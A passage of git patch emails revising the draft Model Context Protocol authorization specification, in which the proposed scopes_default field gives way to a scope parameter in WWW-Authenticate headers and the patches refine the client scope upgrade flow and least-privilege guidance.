@@ -94,7 +94,7 @@ MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond app
#### Default Scopes
In addition to the standard Protected Resource Metadata fields defined in [RFC9728](https://datatracker.ietf.org/doc/html/rfc9728),
-MCP servers **MAY** include the optional `scopes_default`extension.
+MCP servers **MAY** include the optional `scopes_default` extension.
`scopes_default` is a JSON array containing a list of scope values that represent the default scopes for clients to use
when initiating the authorization flow. This field provides guidance to clients about the appropriate scopes to request
From b7b9ad6ff40c06e2cf44ace5bcc459528d634964 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Mon, 30 Jun 2025 18:10:10 -0700
Subject: [PATCH 18/61] Update docs/specification/draft/basic/authorization.mdx
Co-authored-by: Nate Barbettini
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 1bfb28570..f80117df8 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -184,7 +184,7 @@ only the scopes necessary for their intended operations. During the initial auth
**SHOULD** follow this priority order for scope selection:
1. **Use `scopes_default`** from the Protected Resource Metadata document as the starting point
-2. **If `scopes_default` is not available**, use all scopes defined `scopes_supported`
+2. **If `scopes_default` is not available**, use all scopes defined in `scopes_supported`
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
From e9723b99e5345d9ff37e6bf9291462456fcd22a9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 3 Jul 2025 17:07:03 -0700
Subject: [PATCH 19/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index f80117df8..7480ec129 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -371,7 +371,9 @@ it **SHOULD** follow this upgrade flow:
5. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid repeated failures
-for the same resource and operation combination.
+for the same resource and operation combination. The cache should track failed authorization attempts by resource
+and the scopes that were denied, preventing clients from repeatedly requesting the same permissions that were
+previously denied and avoiding unnecessary authorization server requests for known-failing scenarios.
## Security Considerations
From 72b7a9f58d60d2192eca225f3702538783a98307 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 3 Jul 2025 17:30:25 -0700
Subject: [PATCH 20/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 1 -
1 file changed, 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 7480ec129..b384ec16d 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -470,7 +470,6 @@ The `scopes_default` extension in Protected Resource Metadata provides server gu
- **Over-privileged tokens**: Requesting excessive scopes increases the potential impact if tokens are compromised
- **User friction**: Large scope requests may cause user concern or rejection during authorization
-- **Attack surface**: Tokens with unnecessary privileges expand the potential attack surface
MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific resources and operations they need.
Authorization servers **SHOULD** clearly communicate the implications of each scope to users during the authorization process.
From 239eecda10c77a4717f926cf48ae5cec17b39e33 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 3 Jul 2025 17:32:30 -0700
Subject: [PATCH 21/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index b384ec16d..ce89da9b4 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -466,6 +466,10 @@ cannot be misused across different services.
### Scope Minimization
Following the principle of least privilege, MCP clients **SHOULD** request only the minimum scopes necessary for their intended operations.
+
+Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by [RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
+This enables secure, progressive access patterns where clients can adjust scope requirements over time while adhering to the principle of least privilege.
+
The `scopes_default` extension in Protected Resource Metadata provides server guidance for appropriate default scope selection, helping clients avoid:
- **Over-privileged tokens**: Requesting excessive scopes increases the potential impact if tokens are compromised
From 38fb7c98d297fd0f2d5bebf140653d5c4eb114df Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 3 Jul 2025 17:35:28 -0700
Subject: [PATCH 22/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index ce89da9b4..4854af02b 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -332,7 +332,7 @@ Servers **MUST** return appropriate HTTP status codes for authorization errors:
#### Scope Error Handling
-This section covers handling insufficient scope errors during runtime operations when a client already has a token but needs additional permissions. This follows the error handling patterns defined in [RFC 6750 (Bearer Token Usage)](https://datatracker.ietf.org/doc/html/rfc6750) and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
+This section covers handling insufficient scope errors during runtime operations when a client already has a token but needs additional permissions. This follows the error handling patterns defined in [OAuth 2.1 Section 5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5) and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728).
##### Runtime Insufficient Scope Errors
From 1463ed00205cc4d6c4c0d2ec8599fc24c10c3bd4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 3 Jul 2025 17:47:21 -0700
Subject: [PATCH 23/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 58 +++++++++----------
1 file changed, 29 insertions(+), 29 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 4854af02b..85f574a9c 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -89,35 +89,35 @@ Implementors should note that Protected Resource Metadata documents can define m
MCP servers **MUST** use the HTTP header `WWW-Authenticate` when returning a _401 Unauthorized_ to indicate the location of the resource server metadata URL
as described in [RFC9728 Section 5.1 "WWW-Authenticate Response"](https://datatracker.ietf.org/doc/html/rfc9728#name-www-authenticate-response).
-MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
+MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in [RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3) to indicate the scopes required for accessing the resource. This provides clients with immediate guidance on the appropriate scopes to request during authorization.
-#### Default Scopes
+Example 401 response with scope guidance:
-In addition to the standard Protected Resource Metadata fields defined in [RFC9728](https://datatracker.ietf.org/doc/html/rfc9728),
-MCP servers **MAY** include the optional `scopes_default` extension.
+```http
+HTTP/1.1 401 Unauthorized
+WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
+ scope="files:read"
+```
-`scopes_default` is a JSON array containing a list of scope values that represent the default scopes for clients to use
-when initiating the authorization flow. This field provides guidance to clients about the appropriate scopes to request
-when starting the authorization process or responding to scope-related errors.
+MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
-MCP servers **SHOULD** include this field to follow the principle of least privilege and prevent clients from requesting excessive permissions.
-By providing `scopes_default`, servers guide clients toward requesting only the minimum scopes necessary for typical operations,
-rather than all available scopes.
+#### Default Scopes
-The `scopes_default` values **MUST** be a subset of the `scopes_supported` values.
+MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in
+[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3) when returning a 401 Unauthorized response.
+This provides clients with immediate guidance on the appropriate scopes to request during authorization,
+following the principle of least privilege and preventing clients from requesting excessive permissions.
-Example Protected Resource Metadata with `scopes_default`:
+Example 401 response with scope guidance:
-```json
-{
- "resource": "https://mcp.example.com",
- "authorization_servers": ["https://auth.example.com"],
- "scopes_supported": ["read", "write", "admin", "delete"],
- "scopes_default": ["read"],
- "bearer_methods_supported": ["header"]
-}
+```http
+HTTP/1.1 401 Unauthorized
+WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
+ scope="files:read"
```
+If no `scope` parameter is provided in the WWW-Authenticate header, clients should fall back to requesting all scopes listed in `scopes_supported` from the Protected Resource Metadata document.
+
#### Server Metadata Discovery
MCP clients **MUST** follow the OAuth 2.0 Authorization Server Metadata [RFC8414](https://datatracker.ietf.org/doc/html/rfc8414)
@@ -183,8 +183,8 @@ When implementing authorization flows, MCP clients **SHOULD** follow the princip
only the scopes necessary for their intended operations. During the initial authorization handshake, MCP clients
**SHOULD** follow this priority order for scope selection:
-1. **Use `scopes_default`** from the Protected Resource Metadata document as the starting point
-2. **If `scopes_default` is not available**, use all scopes defined in `scopes_supported`
+1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
+2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
@@ -361,8 +361,7 @@ it **SHOULD** follow this upgrade flow:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
2. **Determine required scopes** using the following algorithm:
- If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes
- - If `scope` is not available, consult the `scopes_default` field from the Protected Resource Metadata document
- - If `scopes_default` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
+ - If `scope` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
3. **Validate scope upgrade** to prevent infinite loops:
- Calculate the union of current scopes and newly required scopes
- If the resulting scope set is identical to the previously requested scopes, the client **MUST NOT** retry the authorization
@@ -467,13 +466,14 @@ cannot be misused across different services.
Following the principle of least privilege, MCP clients **SHOULD** request only the minimum scopes necessary for their intended operations.
-Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by [RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
+Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by
+[RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
This enables secure, progressive access patterns where clients can adjust scope requirements over time while adhering to the principle of least privilege.
-The `scopes_default` extension in Protected Resource Metadata provides server guidance for appropriate default scope selection, helping clients avoid:
-
-- **Over-privileged tokens**: Requesting excessive scopes increases the potential impact if tokens are compromised
-- **User friction**: Large scope requests may cause user concern or rejection during authorization
+MCP servers **SHOULD** provide scope guidance through the `scope` parameter in `WWW-Authenticate` headers as defined in
+[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3). This guidance helps clients avoid requesting
+over-privileged tokens, which increases the potential impact if tokens are compromised, while also reducing user friction that
+can occur when large scope requests cause user concern or rejection during authorization.
MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific resources and operations they need.
Authorization servers **SHOULD** clearly communicate the implications of each scope to users during the authorization process.
From 76c1d940061bf4043e1765ab000a35174d833e16 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Thu, 3 Jul 2025 17:48:33 -0700
Subject: [PATCH 24/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 85f574a9c..858f8ebaf 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -370,8 +370,8 @@ it **SHOULD** follow this upgrade flow:
5. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid repeated failures
-for the same resource and operation combination. The cache should track failed authorization attempts by resource
-and the scopes that were denied, preventing clients from repeatedly requesting the same permissions that were
+for the same resource and operation combination. The cache should track failed authorization attempts by resource
+and the scopes that were denied, preventing clients from repeatedly requesting the same permissions that were
previously denied and avoiding unnecessary authorization server requests for known-failing scenarios.
## Security Considerations
From 32c80267976f457aa5027499bd2c4f009b60cbd3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 9 Sep 2025 19:36:56 -0700
Subject: [PATCH 25/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index f7245d82f..df7c50dd2 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -371,8 +371,12 @@ WWW-Authenticate: Bearer error="insufficient_scope",
##### Client Scope Upgrade Flow
-When a client receives any scope-related error (initial authorization or runtime insufficient scope),
-it **SHOULD** follow this upgrade flow:
+Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`).
+Clients may respond to these errors by requesting a new access token with an increased set of scopes via an upgrade flow.
+Clients acting on behalf of a user **SHOULD** attempt the upgrade flow. Clients acting on their own behalf (`client_credentials` clients)
+**MAY** attempt the upgrade flow or abort the request immediately.
+
+The upgrade flow is as follows:
1. **Parse error information** from the authorization server response or `WWW-Authenticate` header
2. **Determine required scopes** using the following algorithm:
From d63bea4457807d4bdae75cea0bfb3c9c2948fe6d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 9 Sep 2025 19:39:44 -0700
Subject: [PATCH 26/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 2 ++
1 file changed, 2 insertions(+)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index df7c50dd2..c88bd8a64 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -358,6 +358,7 @@ When a client makes a request with an access token with insufficient scope durin
- `WWW-Authenticate` header with the `Bearer` scheme and additional parameters:
- `error="insufficient_scope"` - indicating the specific type of authorization failure
- `scope="required_scope1 required_scope2"` - specifying the minimum scopes needed for the operation
+ - `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses)
- `error_description` (optional) - human-readable description of the error
Example insufficient scope response:
@@ -366,6 +367,7 @@ Example insufficient scope response:
HTTP/1.1 403 Forbidden
WWW-Authenticate: Bearer error="insufficient_scope",
scope="files:read files:write",
+ resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
error_description="Additional file write permission required"
```
From 9f362572c1ee7565c383fc6453ea5f3ae5050557 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 9 Sep 2025 19:43:20 -0700
Subject: [PATCH 27/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 24 ++++++-------------
1 file changed, 7 insertions(+), 17 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index c88bd8a64..c7b6b5639 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -91,23 +91,10 @@ Implementors should note that Protected Resource Metadata documents can define m
MCP servers **MUST** use the HTTP header `WWW-Authenticate` when returning a _401 Unauthorized_ to indicate the location of the resource server metadata URL
as described in [RFC9728 Section 5.1 "WWW-Authenticate Response"](https://datatracker.ietf.org/doc/html/rfc9728#name-www-authenticate-response).
-MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in [RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3) to indicate the scopes required for accessing the resource. This provides clients with immediate guidance on the appropriate scopes to request during authorization.
-
-Example 401 response with scope guidance:
-
-```http
-HTTP/1.1 401 Unauthorized
-WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
- scope="files:read"
-```
-
-MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
-
-#### Default Scopes
-
MCP servers **SHOULD** include a `scope` parameter in the `WWW-Authenticate` header as defined in
-[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3) when returning a 401 Unauthorized response.
-This provides clients with immediate guidance on the appropriate scopes to request during authorization,
+[RFC 6750 Section 3](https://datatracker.ietf.org/doc/html/rfc6750#section-3)
+to indicate the scopes required for accessing the resource. This provides clients with immediate
+guidance on the appropriate scopes to request during authorization,
following the principle of least privilege and preventing clients from requesting excessive permissions.
Example 401 response with scope guidance:
@@ -118,7 +105,10 @@ WWW-Authenticate: Bearer resource_metadata="https://mcp.example.com/.well-known/
scope="files:read"
```
-If no `scope` parameter is provided in the WWW-Authenticate header, clients should fall back to requesting all scopes listed in `scopes_supported` from the Protected Resource Metadata document.
+MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond appropriately to `HTTP 401 Unauthorized` responses from the MCP server.
+
+If no `scope` parameter is provided in the `WWW-Authenticate` header, clients should fall back to requesting all
+scopes listed in `scopes_supported` from the Protected Resource Metadata document.
#### Server Metadata Discovery
From 3c0e80cd733282cfc7ea8cc399af5bb1ea06b73d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 9 Sep 2025 19:54:47 -0700
Subject: [PATCH 28/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index c7b6b5639..b2fed7935 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -189,7 +189,9 @@ only the scopes necessary for their intended operations. During the initial auth
**SHOULD** follow this priority order for scope selection:
1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided
-2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document
+2. **If `scope` is not available**, use scopes defined in `scopes_supported` from the Protected Resource Metadata document
+
+Clients **MAY** use one, several, or all scopes from `scopes_supported` if `scope` is not available.
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
From 566e759fe64ea943921e4fd633840b3fcf872268 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Tue, 9 Sep 2025 19:58:06 -0700
Subject: [PATCH 29/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 7 ++-----
1 file changed, 2 insertions(+), 5 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index b2fed7935..59435d49a 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -376,11 +376,8 @@ The upgrade flow is as follows:
2. **Determine required scopes** using the following algorithm:
- If the `scope` parameter is present in the `WWW-Authenticate` header, use those scopes
- If `scope` is not available, use all scopes listed in `scopes_supported` from the Protected Resource Metadata document
-3. **Validate scope upgrade** to prevent infinite loops:
- - Calculate the union of current scopes and newly required scopes
- - If the resulting scope set is identical to the previously requested scopes, the client **MUST NOT** retry the authorization
- - If no new scopes can be added (all required scopes were already requested), the client **SHOULD** treat this as a permanent authorization failure
-4. **Initiate (re-)authorization** with the broader scope set only if new scopes were identified
+3. **Calculate the union** of current scopes and newly required scopes
+4. **Initiate (re-)authorization** with the scope set
5. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure
Clients **SHOULD** implement retry limits and **SHOULD** cache scope upgrade attempts to avoid repeated failures
From 319f6a3ed288115f30a17d569f46adc99d2ec27c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:08:33 -0700
Subject: [PATCH 30/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 14 +++++++++++---
1 file changed, 11 insertions(+), 3 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 59435d49a..e4e0afe56 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -110,6 +110,16 @@ MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond app
If no `scope` parameter is provided in the `WWW-Authenticate` header, clients should fall back to requesting all
scopes listed in `scopes_supported` from the Protected Resource Metadata document.
+#### Scope Architecture Guidance
+
+MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades. The recommended approach is:
+
+**`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This reduces the initial authorization burden on users and follows the principle of least privilege.
+
+**Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers when they are needed.
+
+This approach provides better user experience by avoiding issuing overpermissioned tokens while maintaining security through targeted scope elevation.
+
#### Server Metadata Discovery
To handle different issuer URL formats and ensure interoperability with both OAuth 2.0 Authorization Server Metadata and OpenID Connect Discovery 1.0 specifications, MCP clients **MUST** attempt multiple well-known endpoints when discovering authorization server metadata.
@@ -195,9 +205,7 @@ Clients **MAY** use one, several, or all scopes from `scopes_supported` if `scop
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
-This approach minimizes user friction while following the principle of least privilege. Clients can always request
-additional scopes later through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling)
-section.
+This approach minimizes user friction while following the principle of least privilege. The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Architecture Guidance](#scope-architecture-guidance)), with additional scopes requested incrementally through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling) section.
See the [Scope Minimization](#scope-minimization) section for additional security considerations related to scope selection.
From 55a106ece365ffa8107f470c1ebe270ec0be5251 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:12:03 -0700
Subject: [PATCH 31/61] Update authorization.mdx
---
.../draft/basic/authorization.mdx | 22 +++++++++----------
1 file changed, 11 insertions(+), 11 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index e4e0afe56..6c8f09c96 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -110,16 +110,6 @@ MCP clients **MUST** be able to parse `WWW-Authenticate` headers and respond app
If no `scope` parameter is provided in the `WWW-Authenticate` header, clients should fall back to requesting all
scopes listed in `scopes_supported` from the Protected Resource Metadata document.
-#### Scope Architecture Guidance
-
-MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades. The recommended approach is:
-
-**`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This reduces the initial authorization burden on users and follows the principle of least privilege.
-
-**Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers when they are needed.
-
-This approach provides better user experience by avoiding issuing overpermissioned tokens while maintaining security through targeted scope elevation.
-
#### Server Metadata Discovery
To handle different issuer URL formats and ensure interoperability with both OAuth 2.0 Authorization Server Metadata and OpenID Connect Discovery 1.0 specifications, MCP clients **MUST** attempt multiple well-known endpoints when discovering authorization server metadata.
@@ -205,7 +195,7 @@ Clients **MAY** use one, several, or all scopes from `scopes_supported` if `scop
Clients **MAY** use out-of-band information to decide on scope selection and incrementally ask the user for consent.
-This approach minimizes user friction while following the principle of least privilege. The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Architecture Guidance](#scope-architecture-guidance)), with additional scopes requested incrementally through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling) section.
+This approach minimizes user friction while following the principle of least privilege. The `scopes_supported` field is intended to represent the minimal set of scopes necessary for basic functionality (see [Scope Minimization](#scope-minimization)), with additional scopes requested incrementally through the runtime scope upgrade flow described in the [Scope Error Handling](#scope-error-handling) section.
See the [Scope Minimization](#scope-minimization) section for additional security considerations related to scope selection.
@@ -495,6 +485,16 @@ cannot be misused across different services.
Following the principle of least privilege, MCP clients **SHOULD** request only the minimum scopes necessary for their intended operations.
+#### Server Scope Architecture
+
+MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades:
+
+**`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This ensures that no overpermissioned tokens are issued by default.
+
+**Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
+
+#### Client and Authorization Server Behavior
+
Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by
[RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
This enables secure, progressive access patterns where clients can adjust scope requirements over time while adhering to the principle of least privilege.
From 9a838be2400bb27577589fe2ad61c70731600025 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:13:13 -0700
Subject: [PATCH 32/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index 6c8f09c96..d760e7b3b 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -504,5 +504,4 @@ MCP servers **SHOULD** provide scope guidance through the `scope` parameter in `
over-privileged tokens, which increases the potential impact if tokens are compromised, while also reducing user friction that
can occur when large scope requests cause user concern or rejection during authorization.
-MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific resources and operations they need.
-Authorization servers **SHOULD** clearly communicate the implications of each scope to users during the authorization process.
+MCP servers **SHOULD** implement fine-grained scopes that allow clients to request access to only the specific primitives and operations they need.
From f76ba98d93c414a91a6fe61b3dae0c14dec0c61e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Den=20Delimarsky=20=F0=9F=8C=BA?=
<53200638+localden@users.noreply.github.com>
Date: Sun, 14 Sep 2025 20:13:51 -0700
Subject: [PATCH 33/61] Update authorization.mdx
---
docs/specification/draft/basic/authorization.mdx | 4 ----
1 file changed, 4 deletions(-)
diff --git a/docs/specification/draft/basic/authorization.mdx b/docs/specification/draft/basic/authorization.mdx
index d760e7b3b..91806964c 100644
--- a/docs/specification/draft/basic/authorization.mdx
+++ b/docs/specification/draft/basic/authorization.mdx
@@ -485,16 +485,12 @@ cannot be misused across different services.
Following the principle of least privilege, MCP clients **SHOULD** request only the minimum scopes necessary for their intended operations.
-#### Server Scope Architecture
-
MCP server developers **SHOULD** design their scope architecture to minimize initial authorization friction while supporting incremental access through runtime scope upgrades:
**`scopes_supported` as Minimal Set**: The `scopes_supported` field in the Protected Resource Metadata document **SHOULD** contain only the minimal set of scopes necessary for basic MCP server functionality. This ensures that no overpermissioned tokens are issued by default.
**Incremental Scope Addition**: Additional scopes required for specific operations **SHOULD** be requested incrementally through 401 `WWW-Authenticate` headers on an as-needed basis.
-#### Client and Authorization Server Behavior
-
Authorization servers **MAY** issue access tokens with narrower scopes than requested, as permitted by
[RFC 6749 Section 1.5](https://datatracker.ietf.org/doc/html/rfc6749#section-1.5), when evaluating requested scopes against prior user consent.
This enables secure, progressive access patterns where clients can adjust scope requirements over time while adhering to the principle of least privilege.
